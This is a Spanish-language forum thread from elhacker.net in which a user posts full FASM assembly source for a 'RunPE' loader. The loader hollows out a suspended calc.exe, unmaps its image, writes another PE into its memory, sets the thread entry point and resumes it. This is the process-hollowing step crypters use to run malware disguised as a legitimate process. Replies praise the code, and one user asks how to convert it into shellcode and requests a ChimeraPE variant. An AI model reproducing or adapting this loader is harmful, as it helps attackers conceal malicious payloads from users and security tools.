Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: fary en 18 Enero 2016, 00:46 am



Título: [ASM] RunPE
Publicado por: fary en 18 Enero 2016, 00:46 am
Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo.
Se los dejo por aquí...


Código
  1. ; // RunPE
  2. ; // Programado por Juan fary (mDrinky)
  3. ; // drinky.94@hotmail.com
  4.  
  5. format PE GUI 4.0
  6. include 'win32ax.inc'
  7. entry start
  8.  
  9. section '.data' readable writeable
  10.  
  11.        struct CONTEXT
  12.               ContextFlags             dd ?
  13.               Dr0                      dd ?
  14.               Dr1                      dd ?
  15.               Dr2                      dd ?
  16.               Dr3                      dd ?
  17.               Dr6                      dd ?
  18.               Dr7                      dd ?
  19.               FloatSave                dd ?
  20.               SegGs                    dd ?
  21.               SegFs                    dd ?
  22.               SegEs                    dd ?
  23.               SegDs                    dd ?
  24.               Edi                      dd ?
  25.               Esi                      dd ?
  26.               Ebx                      dd ?
  27.               Edx                      dd ?
  28.               Ecx                      dd ?
  29.               Eax                      dd ?
  30.               Ebp                      dd ?
  31.               Eip                      dd ?
  32.               SegCs                    dd ?
  33.               EFlags                   dd ?
  34.               Esp                      dd ?
  35.               SegSs                    dd ?
  36.               ExtendedRegisters        rb 512
  37.        ends
  38.  
  39.        calc            db 'c:\windows\system32\calc.exe',0
  40.        bleidos         dd 0
  41.        Datos           dd 0
  42.        Espacio         dd 0
  43.  
  44.        _SI                   STARTUPINFO ?
  45.        _PI                   PROCESS_INFORMATION ?
  46.        CTX                   CONTEXT ?
  47.  
  48.        Param2          dd 0
  49.  
  50.        ; Datos PE
  51.        imagebase       dd ?
  52.        sizeofheaders   dd ?
  53.        sizeofimage     dd ?
  54.        numseciones     dd ?
  55.  
  56.  
  57. section '.code' executable readable writeable
  58. start:
  59.        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
  60.  
  61.        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
  62.        mov ebx,eax
  63.        invoke GetFileSize,ebx,0
  64.        mov edi,eax
  65.        invoke GlobalAlloc,GPTR,edi
  66.        push eax
  67.        invoke ReadFile,ebx,eax,edi,addr bleidos,0
  68.        invoke CloseHandle,ebx
  69.        pop eax
  70.  
  71.        mov [Datos],eax
  72.  
  73.        cmp word[eax],'MZ'
  74.        jne salir
  75.  
  76.        add eax,dword[eax+0x3C]  ; PE
  77.  
  78.        cmp word[eax],'PE'
  79.        jne salir
  80.  
  81.        push dword[eax+0x34] ; imagebase
  82.        pop [imagebase]
  83.  
  84.        push dword[eax+0x54] ; sizeofheaders
  85.        pop [sizeofheaders]
  86.  
  87.        push dword[eax+0x50]
  88.        pop [sizeofimage]    ; sizeofimage
  89.  
  90.        movzx ebx,word[eax+0x6] ; numero de secciones
  91.        mov [numseciones],ebx
  92.  
  93.        push eax  ; guardamos ya EAX para el final
  94.  
  95.        push eax
  96.        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
  97.        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
  98.        mov [Espacio],eax
  99.        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
  100.        pop eax
  101.  
  102.        mov ecx,0
  103.  
  104.        add eax,0xF8 ; posicionamos en las cabeceras de sección
  105.  
  106.        EscribirSecciones:
  107.  
  108.        inc ecx
  109.  
  110.        push ecx
  111.        push eax
  112.  
  113.        mov ebx,eax
  114.        mov ebx,dword[ebx+0xC]      ; imagebase
  115.        add ebx,[imagebase]
  116.  
  117.        mov [Param2],ebx
  118.  
  119.        mov ebx,eax
  120.        mov ebx,dword[ebx+0x14]
  121.        mov edx,[Datos]
  122.        add edx,ebx
  123.  
  124.        mov ebx,eax
  125.        mov ebx,dword[ebx+0x10]
  126.  
  127.        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
  128.  
  129.        pop eax
  130.        pop ecx
  131.  
  132.        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER
  133.  
  134.        cmp ecx,[numseciones]
  135.        jne EscribirSecciones
  136.  
  137.        invoke GetThreadContext,[_PI.hProcess],CTX
  138.  
  139.        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
  140.  
  141.        pop eax
  142.  
  143.        add eax,dword[eax+0x3C]
  144.        mov eax,dword[eax+0x28]
  145.  
  146.        mov [CTX.Eax],eax ; EntryPoint
  147.  
  148.        invoke SetThreadContext,[_PI.hProcess],CTX
  149.  
  150.        invoke ResumeThread,[_PI.hThread]
  151.  
  152.        salir:
  153.        ret
  154.  
  155. section '.idata' import data readable writeable
  156.        library NTDLL,'NTDLL.DLL',\
  157.                KERNEL32,'KERNEL32.DLL'
  158.  
  159.        import KERNEL32,\
  160.                CreateProcessA,'CreateProcessA',\
  161.                CreateFileA,'CreateFileA',\
  162.                GetFileSize,'GetFileSize',\
  163.                GlobalAlloc,'GlobalAlloc',\
  164.                ReadFile,'ReadFile',\
  165.                CloseHandle,'CloseHandle',\
  166.                VirtualAllocEx,'VirtualAllocEx',\
  167.                WriteProcessMemory,'WriteProcessMemory',\
  168.                GetThreadContext,'GetThreadContext',\
  169.                SetThreadContext,'SetThreadContext',\
  170.                ResumeThread,'ResumeThread'
  171.  
  172.        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'


Título: Re: [ASM] RunPE
Publicado por: zerointhewill en 18 Enero 2016, 01:08 am
grande capo grande vomo  :D


Título: Re: [ASM] RunPE
Publicado por: MCKSys Argentina en 18 Enero 2016, 01:09 am
Muy buen aporte!

Saludos!


Título: Re: [ASM] RunPE
Publicado por: kub0x en 18 Enero 2016, 01:59 am
Resurjo de mis cenizas sólo para felicitar al creador de este aporte, ¡buen trabajo!

Hace tiempo que no veo contenido de este tipo y si algo me gusta de tus aportes es que están en ASM, simplemente me divierto leyéndolos y lo comparo con los míos escritos en C++.

Si sigues publicando no estaría de más que armaras un post con todas las técnicas, podríamos ponerle chincheta.

Un abrazo.


Título: Re: [ASM] RunPE
Publicado por: Borito30 en 2 Febrero 2018, 11:06 am
y como se usa este runpe? si lo compilo con nasm y lo paso a shellcode como lo uso? funcionara?

intente compilarlo con nasm pero obtengo:
Código:
a.asm:7: error: parser: instruction expected
a.asm:8: error: parser: instruction expected
a.asm:9: error: parser: instruction expected
a.asm:13: error: parser: instruction expected
a.asm:15: error: label or instruction expected at
a.asm:16: error: label or instruction expected at
a.asm:17: error: label or instruction expected at
a.asm:18: error: label or instruction expected at
a.asm:19: error: label or instruction expected at
a.asm:20: error: label or instruction expected at
a.asm:26: error: label or instruction expected at
a.asm:27: error: label or instruction expected at
a.asm:28: error: label or instruction expected at
a.asm:29: error: label or instruction expected at
a.asm:30: error: label or instruction expected at
a.asm:31: error: label or instruction expected at
a.asm:32: error: label or instruction expected at
a.asm:36: error: label or instruction expected at
a.asm:38: error: parser: instruction expected
a.asm:46: error: parser: instruction expected
a.asm:47: error: parser: instruction expected
a.asm:48: error: parser: instruction expected
a.asm:61: error: parser: instruction expected
a.asm:63: error: symbol `invoke' redefined
a.asm:63: error: parser: instruction expected
a.asm:65: error: symbol `invoke' redefined
a.asm:65: error: parser: instruction expected
a.asm:67: error: symbol `invoke' redefined
a.asm:67: error: parser: instruction expected
a.asm:69: error: symbol `invoke' redefined
a.asm:69: error: parser: instruction expected
a.asm:70: error: symbol `invoke' redefined
a.asm:70: error: parser: instruction expected
a.asm:98: error: symbol `invoke' redefined
a.asm:98: error: parser: instruction expected
a.asm:99: error: symbol `invoke' redefined
a.asm:99: error: parser: instruction expected
a.asm:101: error: symbol `invoke' redefined
a.asm:101: error: parser: instruction expected
a.asm:129: error: symbol `invoke' redefined
a.asm:129: error: parser: instruction expected
a.asm:139: error: symbol `invoke' redefined
a.asm:139: error: parser: instruction expected
a.asm:141: error: symbol `invoke' redefined
a.asm:141: error: parser: instruction expected
a.asm:150: error: symbol `invoke' redefined
a.asm:150: error: parser: instruction expected
a.asm:152: error: symbol `invoke' redefined
a.asm:152: error: parser: instruction expected
a.asm:159: error: parser: instruction expected
a.asm:172: error: parser: instruction expected
a.asm:174: error: symbol `import' redefined
a.asm:174: error: parser: instruction expected
  ʤꘀ숨ÄG䢘K


Título: Re: [ASM] RunPE
Publicado por: fary en 2 Febrero 2018, 15:39 pm
Hola,

Este código esta escrito en FASM, si lo quieres usar en NASM habría que hacerle algunas modificaciones.

Para shellcode no te serviría que ya que las direcciones no las recalcula, son estáticas.

saludos.


Título: Re: [ASM] RunPE
Publicado por: Borito30 en 2 Febrero 2018, 16:54 pm
Hola,

Este código esta escrito en FASM, si lo quieres usar en NASM habría que hacerle algunas modificaciones.

Para shellcode no te serviría que ya que las direcciones no las recalcula, son estáticas.

saludos.
este valdría:
https://pastebin.com/32Ntt5zG#

pero esta en masm. sabes como se podría compilar como binary data?

como se hace en nasm -f bin pero en masm?


Título: Re: [ASM] RunPE
Publicado por: fary en 4 Febrero 2018, 12:00 pm
Desconozco como se hace para MASM... tal vez acabes antes ajustando el códido para NASM.

Por cierto en ensamblador no se compila, se ensambla.

saludos.


Título: Re: [ASM] RunPE
Publicado por: Borito30 en 16 Febrero 2018, 19:16 pm
Desconozco como se hace para MASM... tal vez acabes antes ajustando el códido para NASM.

Por cierto en ensamblador no se compila, se ensambla.

saludos.
para cuando un ejemplo de chimerape pero en asm   ;D